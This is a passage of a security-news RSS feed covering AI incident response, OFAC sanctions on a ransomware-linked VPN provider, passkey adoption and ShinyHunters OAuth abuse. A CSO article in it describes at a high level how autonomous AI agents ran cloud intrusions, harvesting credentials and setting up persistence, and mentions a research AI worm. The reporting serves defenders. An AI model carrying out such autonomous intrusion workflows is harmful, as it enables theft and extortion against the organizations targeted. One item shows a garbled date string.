<p class="wp-block-paragraph">Build your AI inventory and treat it like your asset register. Start with the AIBOM for your highest-risk systems — those with access to customer data, financial decisions or clinical workflows. The <a href="https://doi.org/10.3390/jcp6010020">GenAI-IRF framework</a> gives you a structured taxonomy for this work and the <a href="https://www.glacis.io/guide-ai-incident-response">GLACIS AI Incident Response Playbook</a> maps it to NIST SP 800-61 and MITRE ATLAS procedures your team can adapt without starting from scratch.</p>



<p class="wp-block-paragraph"><a href="https://www.proofpoint.com/us/resources/threat-reports/ai-human-risk-landscape-report">Forty-two percent of organizations have already had a suspicious or confirmed AI incident</a>, and more than half say their security posture is catching up, inconsistent or reactive. Updating your playbook isn’t optional. Fix it before you need it.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Changes Entra ID default Authentication Method to Passkeys, Replacing Passwords]]></title>
<description><![CDATA[Microsoft is retiring phishable SMS and voice-based multifactor authentication in Microsoft Entra ID, replacing them with passkeys as the default sign-in method starting September 1, 2026. The move responds to a surge in AI-enabled phishing campaigns that Microsoft Threat Intelligence has observe...]]></description>
<link>https://tsecurity.de/de/3667323/it-security-nachrichten/microsoft-changes-entra-id-default-authentication-method-to-passkeys-replacing-passwords/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667323/it-security-nachrichten/microsoft-changes-entra-id-default-authentication-method-to-passkeys-replacing-passwords/</guid>
<pubDate>Tue, 14 Jul 2026 10:38:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft is retiring phishable SMS and voice-based multifactor authentication in Microsoft Entra ID, replacing them with passkeys as the default sign-in method starting September 1, 2026. The move responds to a surge in AI-enabled phishing campaigns that Microsoft Threat Intelligence has observed achieving click-through rates as high as 54%, compared to roughly 12% for traditional […]</p>
<p>The post <a href="https://cybersecuritynews.com/entra-id-default-authentication-passkeys/">Microsoft Changes Entra ID default Authentication Method to Passkeys, Replacing Passwords</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[US Treasury Sanctions VPN Provider Linked to Ransomware]]></title>
<description><![CDATA[The U.S. Treasury Department has announced new ransomware sanctions against a virtual private network (VPN) provider, its administrator, and a malware service provider accused of enabling ransomware attacks targeting Americans. The Office of Foreign Assets Control (OFAC) said the designated indiv...]]></description>
<link>https://tsecurity.de/de/3667135/it-security-nachrichten/us-treasury-sanctions-vpn-provider-linked-to-ransomware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667135/it-security-nachrichten/us-treasury-sanctions-vpn-provider-linked-to-ransomware/</guid>
<pubDate>Tue, 14 Jul 2026 09:22:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Ransomware sanctions" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Ransomware-sanctions-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="US Treasury Sanctions VPN Provider Linked to Ransomware 1"></p><p data-start="392" data-end="887">The <a href="https://thecyberexpress.com/digital-asset-cybersecurity-initiative/" target="_blank" rel="noopener">U.S. Treasury Department</a> has announced new ransomware sanctions against a virtual private network (VPN) provider, its administrator, and a malware service provider accused of enabling ransomware attacks targeting Americans. The <a href="https://thecyberexpress.com/the-us-treasury-sanctions-burma/" target="_blank" rel="noopener">Office of Foreign Assets Control</a> (OFAC) said the designated individuals and entity allegedly supplied infrastructure and tools used by cybercriminals to carry out attacks against U.S. businesses, hospitals, financial institutions, and critical infrastructure.</p>
<p data-start="889" data-end="1175">The action, coordinated with the United Kingdom, is part of broader efforts to disrupt the cybercrime ecosystem supporting ransomware operations. The Treasury said the targeted services have contributed to attacks that resulted in billions of dollars in losses across the United States.</p>

<h3 data-section-id="1m5dck8" data-start="1177" data-end="1224"><strong><span role="text">OFAC Targets 1VPNS and Its Administrator</span></strong></h3>
<p data-start="1226" data-end="1566">At the center of the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-ransomware-how-it-work/" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28959">ransomware</a> sanctions is 1VPNS, a VPN provider that OFAC described as a key infrastructure supplier for ransomware operators and other cybercriminals. The Treasury also designated Dmytro Rashevskyi, the administrator of 1VPNS, for allegedly providing technological support to cyber-enabled criminal activity.</p>
<p data-start="1568" data-end="1744">According to OFAC, <a href="https://thecyberexpress.com/stolen-vpn-credentials-most-common-ransomware-attack-vector/" target="_blank" rel="noopener">VPN</a> services have legitimate privacy and security uses but can also be misused to conceal the origin of cyberattacks, deploy malware, and manage stolen data.</p>
<p data-start="1746" data-end="1958">The Treasury <a href="https://home.treasury.gov/news/press-releases/sb0559" target="_blank" rel="nofollow noopener">said</a> ransomware groups used 1VPNS infrastructure during attacks against U.S. companies and institutions, including financial services firms, hospitals, municipal governments, and other organizations.</p>
<p data-start="1960" data-end="2207">Authorities also alleged that since 2014, 1VPNS advertised its services on cybercriminal forums while claiming it did not retain user logs or cooperate with law enforcement investigations involving illegal activities conducted through its servers.</p>
<p data-start="2209" data-end="2453">OFAC further stated that Rashevskyi used false identities, including "Maksim Sorin" and "Roman Chabanenko," to purchase infrastructure from providers that may have otherwise declined business because of abuse complaints linked to 1VPNS servers.</p>

<h3 data-section-id="2yk6gt" data-start="2455" data-end="2507"><span role="text"><strong data-start="2458" data-end="2507">Malware Provider Also Added to </strong></span><span role="text"><strong data-start="4299" data-end="4326">Ransomware </strong></span><span role="text"><strong data-start="2458" data-end="2507">Sanctions List</strong></span></h3>
<p data-start="2509" data-end="2663">The Treasury also imposed sanctions on Yegeniy Vladimirovich Silayev, a Belarusian national accused of supplying cryptors to ransomware operators.</p>
<p data-start="2665" data-end="2993">According to OFAC, cryptors are designed to disguise <a href="https://thecyberexpress.com/socgholish-malware-hit-in-operation-endgame/" target="_blank" rel="noopener">malware</a> as legitimate files, making malicious software more difficult for security products to detect or remove. Unlike traditional encryption technologies that protect user data, cryptors are intended to improve the effectiveness and stealth of <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-malware/" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28956">malware</a> used in cyberattacks.</p>
<p data-start="2995" data-end="3161">The Treasury alleged that Silayev provided encryption and obfuscation services to ransomware groups targeting organizations in the United States and allied countries.</p>

<h3 data-section-id="k0f7tq" data-start="3163" data-end="3224"><span role="text"><strong data-start="3166" data-end="3224">International Action Against Cybercrime Infrastructure</strong></span></h3>
<p data-start="3226" data-end="3440">The sanctions were announced in coordination with the United Kingdom's Foreign, Commonwealth &amp; Development Office, which also imposed sanctions against cybercriminals and individuals accused of enabling <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/" target="_blank" rel="noopener" title="cybercrime" data-wpil-keyword-link="linked" data-wpil-monitor-id="28955">cybercrime</a>.</p>
<p data-start="3442" data-end="3645">The <a class="wpil_keyword_link" href="https://cyble.com/announcement/" target="_blank" rel="noopener" title="announcement" data-wpil-keyword-link="linked" data-wpil-monitor-id="28958">announcement</a> follows a May 2026 operation by European law enforcement authorities that dismantled 1VPNS's website and supporting infrastructure with assistance from the FBI's Boston Field Office.</p>
<p data-start="3647" data-end="3843">The FBI has also released a <a href="https://thecyberexpress.com/drdo-advisory-to-employees-cybersecurity/" target="_blank" rel="noopener">cybersecurity advisory </a>detailing the tactics, techniques, and procedures associated with 1VPNS to help organizations identify and defend against ransomware attacks.</p>

<h3 data-section-id="1lzao4f" data-start="3845" data-end="3883"><span role="text"><strong data-start="3848" data-end="3883">Treasury Cites Executive Orders</strong></span></h3>
<p data-start="3885" data-end="4068">The designations were issued under OFAC authorities pursuant to Executive Order 13694, as amended, along with President Donald Trump's Executive Order 14390, signed in March 2026.</p>
<p data-start="4070" data-end="4294">According to the Treasury, the order directs U.S. government agencies to strengthen protections against foreign actors involved in cybercrime, cyber-enabled <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/fraud/" target="_blank" rel="noopener" title="fraud" data-wpil-keyword-link="linked" data-wpil-monitor-id="28957">fraud</a>, extortion, and related criminal schemes targeting Americans.</p>

<h3 data-section-id="1rnnow1" data-start="4296" data-end="4326"><span role="text"><strong data-start="4299" data-end="4326">What the Sanctions Mean</strong></span></h3>
<p data-start="4328" data-end="4532">Under the sanctions, all property and interests belonging to the designated individuals and entity that are within the United States or controlled by U.S. persons are blocked and must be reported to OFAC.</p>
<p data-start="4534" data-end="4758">The restrictions also extend to entities owned 50% or more by designated persons. Unless authorized by OFAC, U.S. persons are generally prohibited from engaging in transactions involving blocked individuals or organizations.</p>
<p data-start="4760" data-end="5053">The Treasury said violations of U.S. sanctions may result in civil or criminal penalties for both U.S. and foreign persons. It also warned that financial institutions and other organizations could face sanctions exposure if they engage in prohibited transactions involving designated entities.</p>
<p data-start="5055" data-end="5296">The latest ransomware sanctions reflect continuing efforts by U.S. authorities and international partners to target the infrastructure and services that enable ransomware operators rather than focusing solely on the attackers themselves.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI-powered breaches provide wake-up call for incident response]]></title>
<description><![CDATA[Enterprises have worked for years to improve detection and response times in the face of increasingly sophisticated attacks that relied on manual hacking and living-of-the-land techniques. AI is now threatening to undo those efforts.



An increasing number of threat actors are automating all pha...]]></description>
<link>https://tsecurity.de/de/3667106/it-security-nachrichten/ai-powered-breaches-provide-wake-up-call-for-incident-response/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667106/it-security-nachrichten/ai-powered-breaches-provide-wake-up-call-for-incident-response/</guid>
<pubDate>Tue, 14 Jul 2026 09:08:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprises have worked for years to improve detection and response times in the face of increasingly sophisticated attacks that relied on manual hacking and living-of-the-land techniques. AI is now threatening to undo those efforts.</p>



<p class="wp-block-paragraph">An increasing number of threat actors are automating all phases of attacks, including lateral movement by using LLM-powered agents, severely reducing the time from initial access to deep environment compromises.</p>



<p class="wp-block-paragraph">“The real shift is speed, scale, and orchestration: familiar cloud attack techniques were executed faster and across more surfaces than defenders could comfortably contain,” wrote researchers from security firm Sygnia last week in <a href="https://www.sygnia.co/blog/inside-an-ai-assisted-cloud-attack/">a report about an AI-assisted cloud environment compromise</a> they investigated.</p>



<p class="wp-block-paragraph">Sygnia’s report came on the heels of research from Sysdig about <a href="https://www.csoonline.com/article/4193195/this-ai-agent-autonomously-hacked-a-network-adapted-on-the-fly-and-demanded-a-ransom.html">a cyber intrusion and extortion campaign conducted end to end by an autonomous AI agent</a>. Actions undertaken by the agent included harvesting credentials, mapping internal services, and establishing persistence.</p>



<p class="wp-block-paragraph">What both incidents show is that AI attacks have graduated beyond LLM-written malware scripts and phishing lures to handling all stages of attack chains, including parts that previously required human reasoning and hands-on command execution adapted to the environment.</p>



<p class="wp-block-paragraph">Last month researchers from the University of Toronto revealed that they <a href="https://www.csoonline.com/article/4181924/ai-worm-prototype-shows-attackers-dont-need-mythos-to-take-over-your-network.html">managed to create an AI-powered self-replicating worm</a> capable of autonomously finding and exploiting weaknesses in dozens of simulated systems. The researchers achieved this by leveraging an open-weight AI model and building an attack harness to keep it on track.</p>



<p class="wp-block-paragraph">While it may not be surprising to security experts that this level of AI-assisted attack automation is already happening in the wild, it’s very unlikely that many companies have had time to adapt their defenses.</p>



<p class="wp-block-paragraph">“What this exposes is a truth that all security personnel must come to terms with: Most breaches won’t hinge on advanced AI, but on unpatched systems, exposed services, and weak identity controls,” Gidi Cohen, CEO and co-founder of AI security startup Bonfy.ai, tells CSO. “AI just makes those gaps impossible to ignore. The organizations that will struggle aren’t the ones lacking AI defenses; they’re the ones still relying on human-speed security in a machine-speed threat environment.”</p>



<h2 class="wp-block-heading">No need for zero-days</h2>



<p class="wp-block-paragraph">As aptly demonstrated by the U of Toronto study, AI agents don’t need sophisticated zero-day vulnerabilities to break into environments, because many environments have systems and applications with known flaws and generic weaknesses.</p>



<p class="wp-block-paragraph">The attack documented by Sysdig, which its researchers dubbed JadePuffer, exploited a year-old vulnerability (<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-3248">CVE-2025-3248</a>) in Langflow, ironically a tool for building AI agents. In the new attack documented by Sygnia, attackers exploited a weakness in a web application that enabled them to find a stored AWS key. From there they quickly made their way through the victim’s cloud environment with the help of AI automation.</p>



<p class="wp-block-paragraph">“The threat actor was not exploiting a single misconfiguration; they were chaining weaknesses across application services, AWS resources, source-control repositories, CI/CD workflows, runtime components, and data stores, while rapidly executing credential discovery, secrets harvesting, cloud enumeration, deployment-pipeline abuse, runtime modification, database access, and operational disruption,” the researchers said.</p>



<p class="wp-block-paragraph">As with the JadePuffer case, the attackers documented by Sygnia were focused on extorting money from the victim. To achieve this, they compromised as many AWS instances as possible, exfiltrated data but also set up multiple persistence points in the AWS environment. The goal was to put pressure on the victim by demonstrating that despite recovery efforts they still had access to the environment.</p>



<h2 class="wp-block-heading">Speed is the new game</h2>



<p class="wp-block-paragraph">Once sophisticated attackers break into an environment they often spend weeks or even months slowly moving to other systems. This is in part because it takes time for a human team to gain a thorough understanding of the environment and to find where the most valuable systems are.</p>



<p class="wp-block-paragraph">This activity is also often trial-and-error: The attackers perform reconnaissance to discover the network’s topology, find exploitable weaknesses in additional systems, and search them for stored credentials that could provide access to more targets, all while using existing OS tools or common system administration techniques that won’t trip malware and intrusion detection systems.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/569703/threat-hunting-explained-taking-an-active-approach-to-defense.html">Active threat hunting</a> is one way to counter such techniques that are designed to evade automated detection. When threat hunting, human analysts inspect the organization’s network and systems manually for signs of compromises that might have been missed by tools. This is a slow but effective defensive technique — but only if attackers operate with the same time constraints.</p>



<p class="wp-block-paragraph">“Traditional incident response often relies on the assumption that attacker progression will generate enough observable signals for defenders to investigate and contain activity before access materially expands across the environment,” Sygnia’s researchers wrote in their report. “The observed attack pattern challenged this assumption. Forensic traces showed rapid, repeated activity consistent with automated or AI-assisted workflows for credential harvesting, permission analysis, vulnerability discovery, and attack-path mapping, allowing the intrusion to progress across multiple stages in a compressed time frame.”</p>



<p class="wp-block-paragraph">And it wasn’t a case of simple automated scripts going through an attack playbook either, but workstreams that showed clear signs of environment adaptation. Every new access was rapidly assessed and resulted in actions tailored for that specific system, whether an EC2 instance, S3 bucket, SQL database, or a CI/CD runner on GitHub.</p>



<h2 class="wp-block-heading">Prevention is back in the spotlight</h2>



<p class="wp-block-paragraph">The obvious answer to AI-assisted attacks is AI-assisted defense. But simply the presence of AI-powered features in detection and response products is not a guarantee for thwarting such fast and adaptive attacks. Organizations must ensure all these tools and workflows are well integrated into a coordinated process across their different teams.</p>



<p class="wp-block-paragraph">Moreover, these attacks show the value of defense-in-depth actions such as continuous validation of configurations, fast patch deployment, frequent secrets rotation, network segmentation, IP-based access control rules, implementing the principle of least privilege for credentials, restricting administrative privileges, enabling multi-factor authentication, and isolating cloud workloads.</p>



<p class="wp-block-paragraph">Sygnia also recommends building automated response playbooks that can be quickly adjusted and deployed when potential signs of compromise are detected.</p>



<p class="wp-block-paragraph">“The skill floor for running a ransomware operation dropped to the cost of running an agent,” Dray Agha, senior manager of tactical response at security firm Huntress, tells CSO. “Very mediocre cyber criminals can now ‘level up’ their impact from AI. That should worry defenders more than any single new technique, as it means more attackers, more often, against more of the long tail of unpatched, exposed infrastructure.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Warns ShinyHunters Abuse OAuth Tokens to Maintain Persistent Salesforce Access]]></title>
<description><![CDATA[Microsoft has warned that threat actors using tradecraft linked to the ShinyHunters extortion group are abusing trusted OAuth relationships to gain persistent access to Salesforce environments, steal CRM data, and evade traditional sign-in detections. The campaigns, observed from mid-202520252025...]]></description>
<link>https://tsecurity.de/de/3667012/it-security-nachrichten/microsoft-warns-shinyhunters-abuse-oauth-tokens-to-maintain-persistent-salesforce-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667012/it-security-nachrichten/microsoft-warns-shinyhunters-abuse-oauth-tokens-to-maintain-persistent-salesforce-access/</guid>
<pubDate>Tue, 14 Jul 2026 08:22:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has warned that threat actors using tradecraft linked to the ShinyHunters extortion group are abusing trusted OAuth relationships to gain persistent access to Salesforce environments, steal CRM data, and evade traditional sign-in detections. The campaigns, observed from mid-202520252025 through mid-202620262026, affected organizations in retail, education, manufacturing, and other sectors. Microsoft said the activity did […]</p>
<p>The post <a href="https://cyberpress.org/shinyhunters-exploit-salesforce-oauth/">Microsoft Warns ShinyHunters Abuse OAuth Tokens to Maintain Persistent Salesforce Access</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic cyber defense engineering vs traditional exposure validation, what's the difference?]]></title>
<description><![CDATA[I keep seeing the phrase “agentic cyber defense” and “agentic cyber defense engineering” in talks and vendor material. It sounds interesting, but it is not always clear what is actually new compared to the exposure validation and CTEM programs many teams already run. From my current understanding...]]></description>
<link>https://tsecurity.de/de/3666725/it-security-nachrichten/agentic-cyber-defense-engineering-vs-traditional-exposure-validation-whats-the-difference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666725/it-security-nachrichten/agentic-cyber-defense-engineering-vs-traditional-exposure-validation-whats-the-difference/</guid>
<pubDate>Tue, 14 Jul 2026 04:53:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I keep seeing the phrase “agentic cyber defense” and “agentic cyber defense engineering” in talks and vendor material. It sounds interesting, but it is not always clear what is actually new compared to the exposure validation and CTEM programs many teams already run.</p> <p>From my current understanding, traditional exposure validation focuses on running defined assessments that test controls and detections against known TTPs and attack paths. The agentic descriptions I have seen talk about systems that can chain actions together on their own, react to new threat intel, and generate targeted assessments when you describe a scenario in natural language.</p> <p>If anyone has hands on experience with this kind of setup, how different is it really from standard automation and scheduling of assessments? For example, does it genuinely reduce the time between new intel and a validated view of exposure, or is it just a more flexible interface on top of similar checks?</p> <p>I would also like to hear about any pitfalls, such as reliability issues, oversight requirements, or cases where an agent made poor choices that still needed human review.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Academic-Pen-9219"> /u/Academic-Pen-9219 </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1uv3i7c/agentic_cyber_defense_engineering_vs_traditional/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1uv3i7c/agentic_cyber_defense_engineering_vs_traditional/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Security Threats in 2026: Annual Insights from Check Point Research]]></title>
<description><![CDATA[Key Takeaways Vulnerability response times have collapsed from days to hours. AI can reason about code well enough to generate working exploits at scale, so defenders now face patch windows of 12 to 72 hours instead of the traditional timeframe…
Read more →
The post AI Security Threats in 2026: A...]]></description>
<link>https://tsecurity.de/de/3666682/it-security-nachrichten/ai-security-threats-in-2026-annual-insights-from-check-point-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666682/it-security-nachrichten/ai-security-threats-in-2026-annual-insights-from-check-point-research/</guid>
<pubDate>Tue, 14 Jul 2026 03:38:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Key Takeaways Vulnerability response times have collapsed from days to hours. AI can reason about code well enough to generate working exploits at scale, so defenders now face patch windows of 12 to 72 hours instead of the traditional timeframe…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ai-security-threats-in-2026-annual-insights-from-check-point-research/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ai-security-threats-in-2026-annual-insights-from-check-point-research/">AI Security Threats in 2026: Annual Insights from Check Point Research</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Security Threats in 2026: Insights from Check Point Research]]></title>
<description><![CDATA[Key Takeaways Vulnerability response times have collapsed from days to hours. AI can reason about code well enough to generate working exploits at scale, so defenders now face patch windows of 12 to 72 hours instead of the traditional timeframe Your exposed AI infrastructure is being actively pro...]]></description>
<link>https://tsecurity.de/de/3666663/it-security-nachrichten/ai-security-threats-in-2026-insights-from-check-point-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666663/it-security-nachrichten/ai-security-threats-in-2026-insights-from-check-point-research/</guid>
<pubDate>Tue, 14 Jul 2026 03:08:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1600" height="800" src="https://blog.checkpoint.com/wp-content/uploads/2026/07/Blog-banner_AI-Security-Report-2026_800x400-1-1.png" class="webfeedsFeaturedVisual wp-post-image" alt="" link_thumbnail="" decoding="async" fetchpriority="high" srcset="https://blog.checkpoint.com/wp-content/uploads/2026/07/Blog-banner_AI-Security-Report-2026_800x400-1-1.png 1600w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Blog-banner_AI-Security-Report-2026_800x400-1-1-300x150.png 300w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Blog-banner_AI-Security-Report-2026_800x400-1-1-1024x512.png 1024w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Blog-banner_AI-Security-Report-2026_800x400-1-1-768x384.png 768w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Blog-banner_AI-Security-Report-2026_800x400-1-1-1536x768.png 1536w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Blog-banner_AI-Security-Report-2026_800x400-1-1-400x200.png 400w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Blog-banner_AI-Security-Report-2026_800x400-1-1-600x300.png 600w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Blog-banner_AI-Security-Report-2026_800x400-1-1-800x400.png 800w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Blog-banner_AI-Security-Report-2026_800x400-1-1-1200x600.png 1200w, https://blog.checkpoint.com/wp-content/uploads/2026/07/Blog-banner_AI-Security-Report-2026_800x400-1-1-1320x660.png 1320w" sizes="(max-width: 1600px) 100vw, 1600px"><p>Key Takeaways Vulnerability response times have collapsed from days to hours. AI can reason about code well enough to generate working exploits at scale, so defenders now face patch windows of 12 to 72 hours instead of the traditional timeframe Your exposed AI infrastructure is being actively probed right now. Model servers, inference endpoints, and agent control panels are facing the internet, and most security teams don’t know they’re there Data leakage through approved AI use doubled in one year. Employees sharing context with generative AI to get useful answers are exposing credentials and source code in ordinary workflows, no […]</p>
<p>The post <a href="https://blog.checkpoint.com/ai-security/ai-security-threats-in-2026-insights-from-check-point-research/">AI Security Threats in 2026: Insights from Check Point Research</a> appeared first on <a href="https://blog.checkpoint.com/">Check Point Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Security Threats in 2026: Insights from Check Point Research]]></title>
<description><![CDATA[Key Takeaways Vulnerability response times have collapsed from days to hours. AI can reason about code well enough to generate working exploits at scale, so defenders now face patch windows of 12 to 72 hours instead of the traditional timeframe…
Read more →
The post AI Security Threats in 2026: I...]]></description>
<link>https://tsecurity.de/de/3666662/it-security-nachrichten/ai-security-threats-in-2026-insights-from-check-point-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666662/it-security-nachrichten/ai-security-threats-in-2026-insights-from-check-point-research/</guid>
<pubDate>Tue, 14 Jul 2026 03:08:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Key Takeaways Vulnerability response times have collapsed from days to hours. AI can reason about code well enough to generate working exploits at scale, so defenders now face patch windows of 12 to 72 hours instead of the traditional timeframe…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ai-security-threats-in-2026-insights-from-check-point-research/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ai-security-threats-in-2026-insights-from-check-point-research/">AI Security Threats in 2026: Insights from Check Point Research</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Load Balancing in vSphere 9.0 and VMware Cloud Foundation 9.0]]></title>
<description><![CDATA[If you’re managing Kubernetes alongside traditional virtual machines, vSphere Supervisor in vSphere 9.0 and VMware Cloud Foundation (VCF) 9.0 serves as your unified control plane. But when it comes to setting up the infrastructure, one question always comes up from teams designing these environme...]]></description>
<link>https://tsecurity.de/de/3666562/downloads/load-balancing-in-vsphere-90-and-vmware-cloud-foundation-90/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666562/downloads/load-balancing-in-vsphere-90-and-vmware-cloud-foundation-90/</guid>
<pubDate>Tue, 14 Jul 2026 01:01:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="154" src="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Networking-DataCenter.jpeg?w=300" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" srcset="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Networking-DataCenter.jpeg 441w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Networking-DataCenter.jpeg?resize=300,154 300w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>If you’re managing Kubernetes alongside traditional virtual machines, vSphere Supervisor in vSphere 9.0 and VMware Cloud Foundation (VCF) 9.0 serves as your unified control plane. But when it comes to setting up the infrastructure, one question always comes up from teams designing these environments:  “Which load balancers are supported, and how do I choose the … <a href="https://blogs.vmware.com/cloud-foundation/2026/07/13/choosing-the-right-load-balancer-for-vsphere-supervisor-in-vsphere-9-0-and-vmware-cloud-foundation-9-0/">Continued</a></p>
<p>The post <a href="https://blogs.vmware.com/cloud-foundation/2026/07/13/choosing-the-right-load-balancer-for-vsphere-supervisor-in-vsphere-9-0-and-vmware-cloud-foundation-9-0/">Load Balancing in vSphere 9.0 and VMware Cloud Foundation 9.0</a> appeared first on <a href="https://blogs.vmware.com/cloud-foundation">VMware Cloud Foundation (VCF) Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw becomes a nonprofit foundation as it seeks to be ‘the Switzerland of AI’]]></title>
<description><![CDATA[OpenClaw’s announcement that it has become a nonprofit foundation is generating IT excitement because of the potential for governance and development consistency that the popular platform has thus far lacked. Still, some worry about the risks created by the move. 



“Our ambition is for OpenClaw...]]></description>
<link>https://tsecurity.de/de/3666484/it-nachrichten/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666484/it-nachrichten/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai/</guid>
<pubDate>Mon, 13 Jul 2026 23:17:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenClaw’s announcement that it has become a nonprofit foundation is generating IT excitement because of the potential for governance and development consistency that <a href="https://www.computerworld.com/article/4128257/openclaw-the-ai-agent-thats-got-humans-taking-orders-from-bots.html" target="_blank">the popular platform </a>has thus far lacked. Still, some worry about the risks created by the move. </p>



